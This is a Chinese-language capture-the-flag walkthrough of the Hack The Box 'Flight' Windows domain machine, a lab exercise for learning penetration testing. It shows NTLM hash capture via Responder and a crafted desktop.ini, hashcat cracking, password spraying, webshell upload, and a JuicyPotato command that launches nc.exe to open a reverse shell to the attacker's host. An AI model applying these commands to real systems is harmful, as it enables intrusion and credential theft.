Hackthebox-Flight

Hackthebox-Flight

Info

nmap

Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-07 06:38 EST
Nmap scan report for 10.10.11.187 (10.10.11.187)
Host is up (0.16s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: g0 Aviation
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-01-07 18:39:16Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-01-07T18:39:47
|_  start_date: N/A
|_clock-skew: 7h00m00s

TRACEROUTE (using port 135/tcp)
HOP RTT       ADDRESS
1   161.53 ms 10.10.14.1 (10.10.14.1)
2   161.62 ms 10.10.11.187 (10.10.11.187)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 120.75 seconds

DNS

image-20230107194942598

image-20230107195001727

DIR

image-20230107222343468

web

子域名爆破得到一个school二级域名,测试目录穿越提示可疑活动

image-20230114215453833

可以读index.php

image-20230114215422234

得到绝对路径还有简易黑名单

劫持NTLM hash

UNC路径强制主机发起NTLM认证请求,responder监听本地tun0网卡

responder -I tun0 -wPv

image-20230114225035133

hashcat破解

.\hashcat.exe -m 5600 -a 0 -o res .\rockyou.txt --force

image-20230114230221433

读取res得到svc_apache用户密码

image-20230114232209447

SMB

直接psexec失败

image-20230114231246520

svc_apache用户登录查看SMB服务器共享

image-20230114231102746

crackmapexec继续查看登陆过smb服务器的用户,可以看到很多用户包括administrator,但sam抓不到hash

image-20230114232237269

做个用户字典进行密码喷洒

image-20230115203105895

S.Moon用户

再尝试psexec登录,虽然没成功但是我们知道shared文件夹是可写的

image-20230115203745081

SMB再劫持NTLM hash

desktop.ini可以修改IconResource为UNC路径指向恶意服务器

制作Desktop.ini

[.ShellClassInfo]
IconResource=\\10.10.14.15\test

登录Shared文件夹上传,等一会劫持到hash

image-20230115205046089

再次hashcat爆破

image-20230115205611618

SMB写入shell文件

前面尝试,svc_apache和S.Moon用户对Web目录均不可写

image-20230115210339846

尝试C.BUM

image-20230115210555440

现在有一个shell了,蚁剑插件上线msf

image-20230115212032305

image-20230115211941560

登录C.BUM会话

web服务是svc_apache的会话,看了下桌面没有user.txt,那就想办法转换到C.BUM的会话

蚁剑上传RunasCs,用获得的C.BUM凭据获得会话

image-20230116160444249

image-20230116160427254

拿到用户flag

image-20230116160728331

提权

fscan扫到8000端口有个web服务

image-20230116163835451

chisel端口转发

image-20230116170528431

image-20230116170509330

浏览器访问

image-20230116170636611

aspx上大马

强行报错

image-20230116170742850

根目录在C:\inetpub\development,看web服务应该是个aspx

image-20230116171530965

svc_apache没权限传文件,只能借助c.bum复制过去

image-20230116191719610

image-20230116191650181

得到一个高权限用户

image-20230116193034708

Juicypotato提权到System

有很重要的权限seImpersionatePrivilege,有这个权限就可以窃取System的令牌达到权限提升的目的

Juicypotato打上去,传一个nc.exe上线到本地

image-20230116194906408

a.exe -t * -p "nc.exe" -a "10.10.14.15 4446 -e cmd.exe"

image-20230116195315087

本地监听收到System权限的shell

image-20230116194847251

发表评论